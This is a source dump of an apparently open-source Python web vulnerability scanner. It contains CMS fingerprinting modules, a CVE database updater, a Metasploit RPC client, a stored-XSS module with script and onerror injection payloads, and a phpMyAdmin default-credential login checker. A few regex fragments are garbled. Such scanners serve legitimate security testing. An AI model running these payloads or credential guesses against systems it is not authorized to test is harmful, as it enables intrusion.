data/** 112 | certs/** 113 | output.txt 114 | 115 | libcms/scanners/cache/** 116 | helios.db 117 | -------------------------------------------------------------------------------- /core/scope.py: -------------------------------------------------------------------------------- 1 | try: 2 | from urlparse import urlparse 3 | except ImportError: 4 | from urllib.parse import urlparse 5 | import fnmatch 6 | 7 | 8 | class Scope: 9 | host = "" 10 | scopes = [] 11 | is_https = False 12 | allow_cross_port = False 13 | allow_cross_schema = True 14 | allow_subdomains = False 15 | _port = 0 16 | 17 | def __init__(self, url, options=None): 18 | parsed = urlparse(url) 19 | if url.startswith("https://"): 20 | self.is_https = True 21 | self.host = parsed.hostname 22 | self._port = parsed.port 23 | if options: 24 | opts = [x.strip() for x in options.split(',')] 25 | if "cross_port" in opts: 26 | self.allow_cross_port = True 27 | if "no_cross_schema" in opts: 28 | self.allow_cross_schema = False 29 | if "allow_subdomains" in opts: 30 | self.allow_subdomains = True 31 | if "dont_care" in options: 32 | self.allow_subdomains = True 33 | self.allow_cross_port = True 34 | 35 | # Checks if a URL is in scope 36 | def in_scope(self, url): 37 | parsed = urlparse(url) 38 | if not self.allow_cross_port and \ 39 | (parsed.port != self._port or 40 | self.allow_cross_schema and parsed.port in [80, 443]): 41 | return False 42 | if not self.allow_cross_schema: 43 | if self.is_https and parsed.scheme != "https": 44 | return False 45 | if not self.is_https and parsed.scheme != "http": 46 | return False 47 | if parsed.hostname == self.host: 48 | return True 49 | for sub_scope in self.scopes: 50 | if "*" in sub_scope: 51 | return fnmatch.fnmatch(parsed.netloc, sub_scope) 52 | if sub_scope == parsed.netloc: 53 | return True 54 | if self.allow_subdomains and parsed.netloc.endswith(self.host): 55 | return True 56 | return False 57 | -------------------------------------------------------------------------------- /webapp/typo3.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - Typo 3 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "Typo3" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['', 'typo3'] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and \ 27 | ("/typo3" in response.text or 'generator" content="TYPO3' in response.text): 28 | self.app_url = path 29 | return True 30 | return False 31 | 32 | def test(self, url): 33 | root_page = self.send(url) 34 | version = None 35 | if root_page: 36 | get_version = re.search(r'')[1] 36 | splitter = splitter.split('')[0] 37 | versions = [] 38 | for x in re.findall(r'(?s)()', splitter)[1:]: 39 | version = re.findall(r'(?s)(.+?)', x)[3].strip() 40 | if version not in versions: 41 | versions.append(version) 42 | self.vuln_versions[name][cve] = versions 43 | return versions 44 | 45 | def get_cve_pages(self, name, start_url): 46 | url = start_url 47 | while 1: 48 | result = requests.get(url) 49 | found = self.parse_cve(name, result.text) 50 | self.logger.debug("Found %d new CVE entries on page" % len(found)) 51 | next_page = re.search(r'\(This Page\)\s* 3: 50 | # if something is creating false positives 51 | continue 52 | path = urlparse.urlparse(f).path 53 | base, ext = os.path.splitext(path) 54 | u = urlparse.urljoin(f, base) 55 | p = p.replace('{url}', u) 56 | p = p.replace('{extension}', ext) 57 | result = self.send(p, self.headers, self.cookies) 58 | if result and result.url == p and result.status_code == 200: 59 | if "Content-Type" not in result.headers or result.headers['Content-Type'] != "text/html": 60 | working += 1 61 | results.append({'request': requests_response_to_dict(result), "match": "Status code 200"}) 62 | return results 63 | 64 | def send(self, url, params, data): 65 | result = None 66 | headers = self.headers 67 | cookies = self.cookies 68 | try: 69 | if data: 70 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 71 | else: 72 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 73 | except Exception as e: 74 | pass 75 | return result 76 | -------------------------------------------------------------------------------- /ext/libcms/scanners/joomla.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | # extend the path with the current file, allows the use of other CMS scripts 4 | sys.path.insert(0, os.path.dirname(__file__)) 5 | import cms_scanner 6 | import re 7 | import json 8 | try: 9 | from urlparse import urljoin, urlparse 10 | except ImportError: 11 | from urllib.parse import urljoin, urlparse 12 | 13 | 14 | class Scanner(cms_scanner.Scanner): 15 | def __init__(self): 16 | self.name = "joomla" 17 | self.update_frequency = 3600 * 48 18 | 19 | def get_version(self, url): 20 | text = self.get(urljoin(url, "language/en-GB/en-GB.xml")) 21 | if text: 22 | version_check_1 = re.search('(.+?)', text.text) 23 | if version_check_1: 24 | self.logger.info( 25 | "Detected %s version %s on %s trough language file" % (self.name, version_check_1.group(1), url)) 26 | return version_check_1.group(1) 27 | text = self.get(urljoin(url, "administrator/manifests/files/joomla.xml")) 28 | if text: 29 | version_check_2 = re.search('(.+?)', text.text) 30 | if version_check_2: 31 | self.logger.info( 32 | "Detected %s version %s on %s trough admin xml" % (self.name, version_check_2.group(1), url)) 33 | return version_check_2.group(1) 34 | text = self.get(urljoin(url, 'plugins/editors/tinymce/tinymce.xml')) 35 | if text: 36 | version_check_3 = re.search('(.+?)', text.text) 37 | if version_check_3: 38 | sub = version_check_2.group(1) 39 | # removed lowest versions to prevent false positives 40 | sub_versions = { 41 | '3.5.6': '3.1.6', 42 | '4.0.10': '3.2.1', 43 | '4.0.12': '3.2.2', 44 | '4.0.18': '3.2.4', 45 | '4.0.22': '3.3.0', 46 | '4.0.28': '3.3.6', 47 | '4.1.7': '3.4.0', 48 | } 49 | self.logger.info("Could not determine version but TinyMCE is present, " + 50 | "detection will probably not be very accurate") 51 | if sub in sub_versions: 52 | return sub_versions[sub] 53 | self.logger.warning("Unable to determine CMS version on url %s" % url) 54 | return None 55 | 56 | def run(self, base): 57 | self.set_logger() 58 | self.setup() 59 | 60 | version = self.get_version(base) 61 | self.logger.info("Because Joomla compononents are too wide-spread" 62 | " the default scanner should detect most vulnerabilities") 63 | return { 64 | 'version': version, 65 | 'plugins': [], 66 | 'plugin_vulns': [], 67 | 'version_vulns': [], 68 | 'discovery': [] 69 | } 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /webapp/databases/update.py: -------------------------------------------------------------------------------- 1 | import process 2 | import optparse 3 | import sys 4 | import logging 5 | 6 | 7 | config = { 8 | 'typo3': { 9 | 'Typo3': 'https://www.cvedetails.com/vulnerability-list/vendor_id-3887/Typo3.html' 10 | }, 11 | 'tomcat': { 12 | 'Tomcat': 'https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomcat.html', 13 | 'Jboss': 'https://www.cvedetails.com/vulnerability-list/vendor_id-25/product_id-14972/Redhat-Jboss-Enterprise-Application-Platform.html' 14 | }, 15 | 'subrion': { 16 | 'Subrion': 'https://www.cvedetails.com/vulnerability-list/vendor_id-9328/product_id-23428/Intelliants-Subrion-Cms.html' 17 | }, 18 | 'textpattern': { 19 | 'Textpattern': 'https://www.cvedetails.com/vulnerability-list/vendor_id-5344/Textpattern.html' 20 | }, 21 | 'cmsmadesimple': { 22 | 'CmsMadeSimple': 'https://www.cvedetails.com/vulnerability-list/vendor_id-3206/Cmsmadesimple.html' 23 | }, 24 | 'magento': { 25 | 'Magento': 'https://www.cvedetails.com/vulnerability-list/vendor_id-15393/product_id-31613/Magento-Magento.html' 26 | }, 27 | 'modx_revolution': { 28 | 'Revolution': 'https://www.cvedetails.com/vulnerability-list/vendor_id-11576/product_id-23360/Modx-Modx-Revolution.html' 29 | }, 30 | 'phpmyadmin': { 31 | 'phpMyAdmin': 'https://www.cvedetails.com/vulnerability-list/vendor_id-784/Phpmyadmin.html' 32 | }, 33 | 'concrete5': { 34 | 'Concrete5': 'https://www.cvedetails.com/vulnerability-list/vendor_id-11506/product_id-23747/Concrete5-Concrete5.html' 35 | }, 36 | 'php': { 37 | 'PHP': 'https://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/PHP-PHP.html' 38 | } 39 | } 40 | 41 | if __name__ == "__main__": 42 | parser = optparse.OptionParser() 43 | parser.add_option('-m', '--module', dest="module", default=None, help="The module to update") 44 | parser.add_option('-a', '--all', dest="all", default=False, action="store_true", help="Update all modules") 45 | parser.add_option('-v', dest="verbose", default=False, action="store_true", help="Show verbose stuff") 46 | options, args = parser.parse_args() 47 | logging.basicConfig(level=logging.DEBUG if options.verbose else logging.INFO) 48 | if options.all: 49 | for root in config: 50 | for entry in config[root]: 51 | print("Updating database %s_vulns.json with entries from %s" % (root, entry)) 52 | process.CVEProcessor().run(config[root], root) 53 | 54 | elif options.module: 55 | module = options.module 56 | if module not in config: 57 | print("Unknown module %s, options are:" % module) 58 | for key in config: 59 | print(key) 60 | sys.exit(1) 61 | for entry in config[module]: 62 | print("Updating database %s_vulns.json with entries from %s" % (module, entry)) 63 | process.CVEProcessor().run(config[module], module) 64 | else: 65 | parser.print_help() 66 | sys.exit(1) 67 | 68 | -------------------------------------------------------------------------------- /ext/libcms/scanners/drupal.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | # extend the path with the current file, allows the use of other CMS scripts 4 | sys.path.insert(0, os.path.dirname(__file__)) 5 | import cms_scanner 6 | import re 7 | import json 8 | import random 9 | 10 | try: 11 | from urlparse import urljoin, urlparse 12 | except ImportError: 13 | from urllib.parse import urljoin, urlparse 14 | 15 | 16 | class Scanner(cms_scanner.Scanner): 17 | def __init__(self): 18 | self.name = "drupal" 19 | self.update_frequency = 3600 * 48 20 | 21 | def get_version(self, url): 22 | text = self.get(urljoin(url, "CHANGELOG.txt")) 23 | if text: 24 | version_check_1 = re.search('Drupal (\d+\.\d+)', text.text) 25 | if version_check_1: 26 | self.logger.info( 27 | "Detected %s version %s on %s trough changelog file" % (self.name, version_check_1.group(1), url)) 28 | return version_check_1.group(1) 29 | text = self.get(url) 30 | if text: 31 | version_check_2 = re.search('blog.domain.com issues) 77 | if result and self.scope.in_scope(result.url): 78 | return result 79 | return None 80 | -------------------------------------------------------------------------------- /web/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
7 |
8 |
9 |
Scan selection
10 |
11 |
12 |
    13 | 14 |
15 |
16 |
17 |
18 |
19 |
Scan Results
20 |
21 |
22 |
    23 | 24 |
25 |
26 |
27 | 28 |
29 | 30 | 31 | 89 | 90 | -------------------------------------------------------------------------------- /core/database.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | try: 3 | from queue import Queue 4 | except ImportError: 5 | from Queue import Queue 6 | import threading 7 | import time 8 | import os 9 | 10 | 11 | class SQLiteWriter: 12 | db = None 13 | scan = 0 14 | todo = Queue(maxsize=0) 15 | db_file = None 16 | active = True 17 | 18 | _db_thread = None 19 | seen_entries = [] 20 | 21 | def init(self, dbfile): 22 | if not os.path.exists(dbfile): 23 | print("Database file %s not found, creating new one" % dbfile) 24 | self.db = sqlite3.connect(self.db_file) 25 | cursor = self.db.cursor() 26 | cursor.execute('CREATE TABLE "scans" (' 27 | '"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' 28 | '"start_url" TEXT,' 29 | '"domain" TEXT,' 30 | '"started" DATETIME,' 31 | '"ended" DATETIME' 32 | ');') 33 | 34 | cursor.execute('CREATE TABLE "results" (' 35 | '"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' 36 | '"scan" INTEGER,' 37 | '"type" TEXT,' 38 | '"module" TEXT,' 39 | '"severity" INTEGER,' 40 | '"detected" DATETIME,' 41 | '"data" TEXT);') 42 | 43 | 44 | self.db.commit() 45 | cursor.close() 46 | self.db.close() 47 | 48 | def open_db(self, database_file): 49 | self.db_file = database_file 50 | self.init(self.db_file) 51 | self._db_thread = threading.Thread(target=self.loop) 52 | 53 | def start(self, url, domain): 54 | self._db_thread.start() 55 | sql = '''INSERT INTO scans(start_url, domain ,started) VALUES(?,?,datetime('now'))''' 56 | self.todo.put((sql, (url, domain), "start")) 57 | 58 | def put(self, result_type, script, severity, text, allow_only_once=False): 59 | if allow_only_once: 60 | entry = [result_type, script] 61 | if entry in self.seen_entries: 62 | return 63 | self.seen_entries.append(entry) 64 | sql = '''INSERT INTO results(scan, type, module, severity, data, detected) 65 | VALUES(?, ?, ?, ?, ?, datetime('now') 66 | )''' 67 | self.todo.put((sql, (self.scan, result_type, script, severity, text), "result")) 68 | 69 | def end(self): 70 | sql = '''UPDATE scans SET ended = datetime('now') WHERE id = %d''' % self.scan 71 | self.todo.put((sql, (), "end")) 72 | 73 | def loop(self): 74 | self.db = sqlite3.connect(self.db_file) 75 | while self.active: 76 | if self.todo.qsize() > 0: 77 | sql, args, output_type = self.todo.get() 78 | cur = self.db.cursor() 79 | cur.execute(sql, args) 80 | if output_type == "start": 81 | self.scan = cur.lastrowid 82 | self.db.commit() 83 | if output_type == "end": 84 | self.db.close() 85 | self.active = False 86 | time.sleep(0.5) 87 | 88 | -------------------------------------------------------------------------------- /ext/libcms/cms_scanner_core.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import sys 4 | from ext.libcms.detector import CMSDetector 5 | 6 | 7 | # Main module loader for CMS Scanners 8 | class CustomModuleLoader: 9 | folder = "" 10 | blacklist = ['cms_scanner.py', '__init__.py'] 11 | modules = [] 12 | logger = None 13 | is_aggressive = False 14 | module = None 15 | # common paths for cms installations 16 | cms_sub = ['wordpress', 'wp', 'magento', 'joomla', 'blog', 'drupal'] 17 | 18 | def __init__(self, folder='scanners', blacklist=[], is_aggressive=False, log_level=logging.INFO): 19 | self.blacklist.extend(blacklist) 20 | self.folder = os.path.join(os.path.dirname(__file__), folder) 21 | self.logger = logging.getLogger("CMS Scanner") 22 | self.logger.setLevel(log_level) 23 | ch = logging.StreamHandler(sys.stdout) 24 | ch.setLevel(log_level) 25 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 26 | ch.setFormatter(formatter) 27 | self.logger.addHandler(ch) 28 | self.logger.debug("Loading CMS scripts") 29 | self.is_aggressive = is_aggressive 30 | 31 | def load(self, script, name): 32 | sys.path.insert(0, os.path.dirname(__file__)) 33 | base = script.replace('.py', '') 34 | try: 35 | command_module = __import__("scanners.%s" % base, fromlist=["scanners"]) 36 | module = command_module.Scanner() 37 | if module.name == name: 38 | self.module = module 39 | self.module.set_logger(self.logger.getEffectiveLevel()) 40 | self.logger.debug("Selected %s for target" % name) 41 | except ImportError as e: 42 | self.logger.warning("Error importing script:%s %s" % (base, str(e))) 43 | except Exception as e: 44 | self.logger.warning("Error loading script:%s %s" % (base, str(e))) 45 | 46 | def load_modules(self, name): 47 | for f in os.listdir(self.folder): 48 | if not f.endswith('.py'): 49 | continue 50 | if f in self.blacklist: 51 | continue 52 | self.load(f, name) 53 | 54 | def run_scripts(self, base, headers={}, cookies={}): 55 | p = CMSDetector() 56 | cms = p.scan(base) 57 | if cms: 58 | self.logger.debug("Detected %s as active CMS" % cms) 59 | self.load_modules(cms) 60 | if self.module: 61 | results = self.module.run(base) 62 | return {cms: results} 63 | else: 64 | self.logger.warning("No script was found for CMS %s" % cms) 65 | for cms_sub in self.cms_sub: 66 | cms = p.scan_sub(base, cms_sub) 67 | if cms: 68 | cms_url = "%s/%s/" % (base[:-1] if base.endswith('/') else base, cms_sub) 69 | self.logger.info("CMS %s was detected in folder %s" % (cms, cms_url)) 70 | self.logger.debug("Detected %s as active CMS" % cms) 71 | self.load_modules(cms) 72 | if self.module: 73 | results = self.module.run(cms_url) 74 | return {cms: results} 75 | else: 76 | self.logger.warning("No script was found for CMS %s" % cms) 77 | return None 78 | 79 | 80 | else: 81 | self.logger.info("No CMS was detected on target %s" % base) 82 | return None 83 | 84 | -------------------------------------------------------------------------------- /webapp/phpmyadmin.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - phpMyAdmin 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "phpMyAdmin" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['phpmyadmin', 'pma', 'phpMyAdmin', ''] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and "phpmyadmin.css.php" in response.text: 27 | self.app_url = path 28 | return True 29 | return False 30 | 31 | def test(self, url): 32 | docu_url = urljoin(url, "Documentation.html") 33 | docu_response = self.send(docu_url) 34 | version = None 35 | if docu_response: 36 | get_version = re.search(r'phpMyAdmin\s([\d\.]+)\s', docu_response.text) 37 | if get_version: 38 | version = get_version.group(1) 39 | self.logger.info("phpMyAdmin version %s was identified from the Documentation.html file" % version) 40 | 41 | if version: 42 | db = self.get_db("phpmyadmin_vulns.json") 43 | data = json.loads(db) 44 | pma_vulns = data['phpMyAdmin'] 45 | self.match_versions(pma_vulns, version, url) 46 | self.test_auth(url) 47 | 48 | def test_auth(self, url): 49 | sess = requests.session() 50 | default_creds = ['root:', 'root:admin', 'root:root'] 51 | init_req = sess.get(url) 52 | if not init_req: 53 | self.logger.warning("Unable to test authentication, invalid initial response") 54 | return 55 | token_re = re.search('name="token".+?value="(.+?)"', init_req.text) 56 | 57 | for entry in default_creds: 58 | if not token_re: 59 | self.logger.warning("Unable to test authentication, no token") 60 | return 61 | user, passwd = entry.split(':') 62 | payload = {'lang': 'en', 'pma_username': user, 'pma_password': passwd, 'token': token_re.group(1)} 63 | post_url = urljoin(url, 'index.php') 64 | post_response = sess.post(post_url, payload) 65 | if post_response and 'Refresh' in post_response.headers: 66 | returl = post_response.headers['Refresh'].split(';')[1].strip() 67 | retdata = sess.get(returl) 68 | if retdata: 69 | if 'class="loginform">' not in retdata.text: 70 | match_str = "Possible positive authentication for user: %s and password %s on %s " % \ 71 | (user, passwd, url) 72 | result = { 73 | 'request': requests_response_to_dict(post_response), 74 | 'match': match_str 75 | } 76 | self.logger.info(match_str) 77 | self.results.append(result) 78 | return 79 | else: 80 | token_re = re.search('name="token".+?value="(.+?)"', retdata.text) 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /modules/module_stored_xss.py: -------------------------------------------------------------------------------- 1 | import random 2 | import requests 3 | import modules.module_base 4 | from core.utils import requests_response_to_dict 5 | 6 | 7 | class Module(modules.module_base.Base): 8 | cookies = None 9 | headers = None 10 | 11 | def __init__(self): 12 | self.name = "Stored XSS" 13 | self.injections = {} 14 | self.module_types = ['injection', 'dangerous'] 15 | self.possibilities = [ 16 | '<script>var a = {injection_value};</script>', 17 | '<xss>var a = {injection_value};</xss>', 18 | '<img src="{injection_value}" onerror="" />' 19 | ] 20 | self.input = "urls" 21 | self.output = "vuln" 22 | self.severity = 3 23 | 24 | def run(self, urls, headers={}, cookies={}): 25 | self.cookies = cookies 26 | self.headers = headers 27 | for url in urls: 28 | url, data = url 29 | base, params = self.get_params_from_url(url) 30 | for u in params: 31 | self.inject(base, params, data, parameter_get=u) 32 | if data: 33 | for u in data: 34 | self.inject(base, params, data, parameter_post=u) 35 | results = [] 36 | for url in urls: 37 | url, data = url 38 | result = self.validate(url, data) 39 | if result: 40 | results.append(result) 41 | return results 42 | 43 | def validate(self, url, data): 44 | base, params = self.get_params_from_url(url) 45 | result = self.send(base, params, data) 46 | if result: 47 | for t in self.injections: 48 | for p in self.possibilities: 49 | payload = p.replace('{injection_value}', str(t)) 50 | if payload in result.text: 51 | return {'request': requests_response_to_dict(self.injections[t]), 'match': requests_response_to_dict(result)} 52 | return False 53 | 54 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None): 55 | if parameter_get: 56 | tmp = dict(params) 57 | for injection_value in self.possibilities: 58 | random_int = random.randint(9999, 9999999) 59 | payload = injection_value.replace('{injection_value}', str(random_int)) 60 | payload = payload.replace('{original_value}', str(params[parameter_get])) 61 | tmp[parameter_get] = payload 62 | result = self.send(url, tmp, data) 63 | self.injections[str(random_int)] = result 64 | 65 | if parameter_post: 66 | tmp = dict(data) 67 | for injection_value in self.possibilities: 68 | random_int = random.randint(9999, 9999999) 69 | payload = injection_value.replace('{injection_value}', str(random_int)) 70 | payload = payload.replace('{original_value}', str(data[parameter_post])) 71 | tmp[parameter_post] = payload 72 | result = self.send(url, params, tmp) 73 | self.injections[str(random_int)] = result 74 | 75 | def send(self, url, params, data): 76 | result = None 77 | headers = self.headers 78 | cookies = self.cookies 79 | try: 80 | if data: 81 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 82 | else: 83 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 84 | except Exception as e: 85 | print(str(e)) 86 | return result 87 | -------------------------------------------------------------------------------- /ext/metamonster/rpcclient.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | import msgpack 4 | import sys 5 | from time import sleep 6 | 7 | class Client: 8 | ssl = True 9 | endpoint = None 10 | username = "" 11 | password = "" 12 | 13 | token = None 14 | is_working = False 15 | 16 | def __init__(self, endpoint, username="msf", password="metasploit", use_ssl=True, log_level=logging.INFO): 17 | self.endpoint = endpoint 18 | self.username = username 19 | self.password = password 20 | self.ssl = use_ssl 21 | self.logger = logging.getLogger("MetaMonster") 22 | self.logger.setLevel(log_level) 23 | ch = logging.StreamHandler(sys.stdout) 24 | ch.setLevel(log_level) 25 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 26 | ch.setFormatter(formatter) 27 | if not self.logger.handlers: 28 | self.logger.addHandler(ch) 29 | self.logger.setLevel(log_level) 30 | self.log_level = log_level 31 | if self.ssl: 32 | requests.packages.urllib3.disable_warnings() 33 | 34 | def send(self, method, data=[], is_second_attempt=False): 35 | try: 36 | headers = {"Content-type": "binary/message-pack"} 37 | if method != "auth.login" and self.token: 38 | data.insert(0, self.token) 39 | data.insert(0, method) 40 | result = requests.post(self.endpoint, data=self.encode(data), verify=False, headers=headers) 41 | decoded = self.decode(result.content) 42 | return decoded 43 | except requests.ConnectionError as e: 44 | self.logger.warning("Cannot connect to endpoint %s. %s" % (self.endpoint, str(e))) 45 | if is_second_attempt: 46 | self.logger.error("Second connection attempt failed. cannot connect to endpoint %s" % self.endpoint) 47 | self.is_working = False 48 | return None 49 | else: 50 | self.logger.info("Retrying in 10 seconds") 51 | sleep(10) 52 | return self.send(method, data, True) 53 | 54 | except requests.Timeout as e: 55 | self.logger.warning("Timeout connecting to endpoint %s." % self.endpoint) 56 | if is_second_attempt: 57 | self.logger.error("Second connection attempt failed. cannot connect to endpoint %s" % self.endpoint) 58 | self.is_working = False 59 | return None 60 | else: 61 | self.logger.info("Retrying in 10 seconds") 62 | sleep(10) 63 | return self.send(method, data, True) 64 | except Exception: 65 | self.logger.error("Uncaught error %s" % self.endpoint) 66 | self.is_working = False 67 | return None 68 | 69 | def encode(self, data): 70 | return msgpack.packb(data) 71 | 72 | def decode(self, data): 73 | return msgpack.unpackb(data) 74 | 75 | def auth(self): 76 | self.logger.debug("Authenticating...") 77 | res = self.send('auth.login', [self.username, self.password]) 78 | if not res: 79 | return False 80 | 81 | if b'token' in res: 82 | self.logger.debug("Authentication successful") 83 | self.token = res[b'token'].decode() 84 | self.is_working = True 85 | return True 86 | else: 87 | self.logger.warning("Incorrect credentials for msfrpcd, cannot start") 88 | self.is_working = False 89 | return False 90 | 91 | def request(self, action, data=[]): 92 | if not self.token: 93 | self.auth() 94 | if self.is_working: 95 | return self.send(action, data) 96 | return None 97 | -------------------------------------------------------------------------------- /webapp/tomcat.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | import random 4 | import json 5 | 6 | 7 | # This script detects vulnerabilities in the following Java based products: 8 | # - Tomcat 9 | # - JBoss 10 | class Scanner(base_app.BaseAPP): 11 | 12 | def __init__(self): 13 | self.name = "Tomcat" 14 | self.types = [] 15 | 16 | def detect(self, url): 17 | result = self.send(url) 18 | if not result: 19 | return False 20 | 21 | rand_val = random.randint(9999, 999999) 22 | invalid_url = url + "a_%d.jsp" % rand_val if url.endswith('/') else url + "/a_%d.jsp" % rand_val 23 | invalid_result = self.send(invalid_url) 24 | if invalid_result and 'Tomcat' in invalid_result.text: 25 | self.logger.debug("Discovered Tomcat through 404 page") 26 | return True 27 | 28 | if 'Server' in result.headers: 29 | if 'Tomcat' in result.headers['Server']: 30 | self.logger.debug("Discovered Tomcat through Server header") 31 | return True 32 | if 'Coyote' in result.headers['Server']: 33 | self.logger.debug("Discovered Coyote through Server header") 34 | return True 35 | if 'JBoss' in result.headers['Server']: 36 | self.logger.debug("Discovered JBoss through Server header") 37 | return True 38 | if 'Servlet' in result.headers['Server']: 39 | self.logger.debug("Discovered Servlet through Server header") 40 | return True 41 | 42 | text = result.text 43 | 44 | for link in re.findall('<a.+?href="(.+?)"', text): 45 | linkdata = link.split('?')[0] 46 | if linkdata and len(linkdata): 47 | if not linkdata.startswith('http'): 48 | if linkdata.endswith('.do'): 49 | self.logger.debug("Discovered Java based app (links end with .do)") 50 | return True 51 | if linkdata.endswith('.jsp'): 52 | self.logger.debug("Discovered Tomcat based app (links end with .jsp)") 53 | return True 54 | 55 | def test(self, url): 56 | db = self.get_db("tomcat_vulns.json") 57 | data = json.loads(db) 58 | 59 | version_tomcat = self.get_version_tomcat(url) 60 | if version_tomcat: 61 | self.logger.info("Tomcat version %s was identified on URL %s" % (version_tomcat, url)) 62 | tomcat_vulns = data['Tomcat'] 63 | self.match_versions(tomcat_vulns, version_tomcat, url) 64 | 65 | version_jboss = self.get_version_jboss(url) 66 | if version_jboss: 67 | self.logger.info("Jboss version %s was identified on URL %s" % (version_jboss, url)) 68 | jboss_vulns = data['Jboss'] 69 | self.match_versions(jboss_vulns, version_jboss, url) 70 | 71 | def get_version_tomcat(self, url): 72 | rand_val = random.randint(9999, 999999) 73 | invalid_url = url + "a_%d.jsp" % rand_val if url.endswith('/') else url + "/a_%d.jsp" % rand_val 74 | invalid_result = self.send(invalid_url) 75 | if 'Tomcat' in invalid_result.text: 76 | version = re.search('<h3>Apache Tomcat/(.+?)</h3>', invalid_result.text) 77 | if version: 78 | return version.group(1) 79 | return False 80 | 81 | def get_version_jboss(self, url): 82 | rand_val = random.randint(9999, 999999) 83 | invalid_url = url + "a_%d.jsp" % rand_val if url.endswith('/') else url + "/a_%d.jsp" % rand_val 84 | invalid_result = self.send(invalid_url) 85 | if 'JBoss' in invalid_result.text: 86 | version = re.search('<h3>JBoss(?:Web)?/(.+?)</h3>', invalid_result.text) 87 | if version: 88 | return version.group(1) 89 | return False 90 | 91 | 92 | -------------------------------------------------------------------------------- /core/utils.py: -------------------------------------------------------------------------------- 1 | import copy 2 | import string 3 | import random 4 | try: 5 | from urllib import quote_plus 6 | except ImportError: 7 | from urllib.parse import quote_plus 8 | 9 | 10 | # function to make key => value dict lowercase 11 | def multi_to_lower(old_dict, also_values=False): 12 | new = {} 13 | for key in old_dict: 14 | new[key.lower()] = old_dict[key].lower() if also_values else old_dict[key] 15 | return new 16 | 17 | 18 | def random_string(length=5, pool=string.ascii_lowercase): 19 | return ''.join(random.choice(pool) for i in range(length)) 20 | 21 | 22 | # extract all parameters from a string (url parameters or post data parameters) 23 | def params_from_str(string): 24 | out = {} 25 | if "&" in string: 26 | for param in string.split('&'): 27 | if "=" in param: 28 | sub = param.split('=') 29 | key = sub[0] 30 | value = sub[1] 31 | out[key] = value 32 | else: 33 | out[param] = "" 34 | else: 35 | if "=" in string: 36 | sub = string.split('=') 37 | key = sub[0] 38 | value = sub[1] 39 | out[key] = value 40 | else: 41 | out[string] = "" 42 | return out 43 | 44 | 45 | # same as above but the other way around 46 | def params_to_str(params): 47 | groups = [] 48 | for key in params: 49 | groups.append("%s=%s" % (quote_plus(key), quote_plus(params[key]) if params[key] else "")) 50 | return '&'.join(groups) 51 | 52 | 53 | # checks if a script name already exists in the results object 54 | def has_seen_before(key, results): 55 | for x in results: 56 | if x['script'] == key: 57 | return True 58 | return False 59 | 60 | 61 | def aspx_strip_internal(post): 62 | out = {} 63 | for name in post: 64 | value = post[name] 65 | if not name.startswith("__"): 66 | out[name] = value 67 | return out 68 | 69 | 70 | # generate unique url / post data pairs because we do not care about other variations during scanning 71 | def uniquinize(urls): 72 | out = [] 73 | seen = [] 74 | for x in urls: 75 | url, data = copy.copy(x) 76 | newparams, newdata = copy.copy(x) 77 | if "?" in url: 78 | u, p = url.split('?') 79 | p = p.replace(';', '&') 80 | params = params_from_str(p) 81 | params = dict(params) 82 | for k in params: 83 | params[k] = "" 84 | newparams = "%s?%s" % (u, params_to_str(params)) 85 | if newdata: 86 | newdata = dict(newdata) 87 | for k in newdata: 88 | newdata[k] = "" 89 | payload = [newparams, newdata] 90 | if payload in seen: 91 | continue 92 | seen.append(payload) 93 | out.append([url, data]) 94 | return out 95 | 96 | 97 | # create dict from response class 98 | def response_to_dict(response): 99 | return { 100 | 'request': { 101 | 'url': response.request_object.url, 102 | 'data': response.request_object.data, 103 | 'headers': dict(response.request_object.request_headers), 104 | 'cookies': dict(response.request_object.response.cookies) 105 | }, 106 | 'response': { 107 | 'code': response.code, 108 | 'headers': dict(response.headers), 109 | 'content-type': response.content_type 110 | } 111 | } 112 | 113 | 114 | # same but for requests response 115 | def requests_response_to_dict(response): 116 | return { 117 | 'request': { 118 | 'url': response.request.url, 119 | 'data': response.request.body, 120 | 'headers': dict(response.request.headers), 121 | 'cookies': dict(response.cookies) 122 | }, 123 | 'response': { 124 | 'code': response.status_code, 125 | 'headers': dict(response.headers), 126 | 'content-type': response.headers['Content-Type'] if 'Content-Type' in response.headers else "" 127 | } 128 | } 129 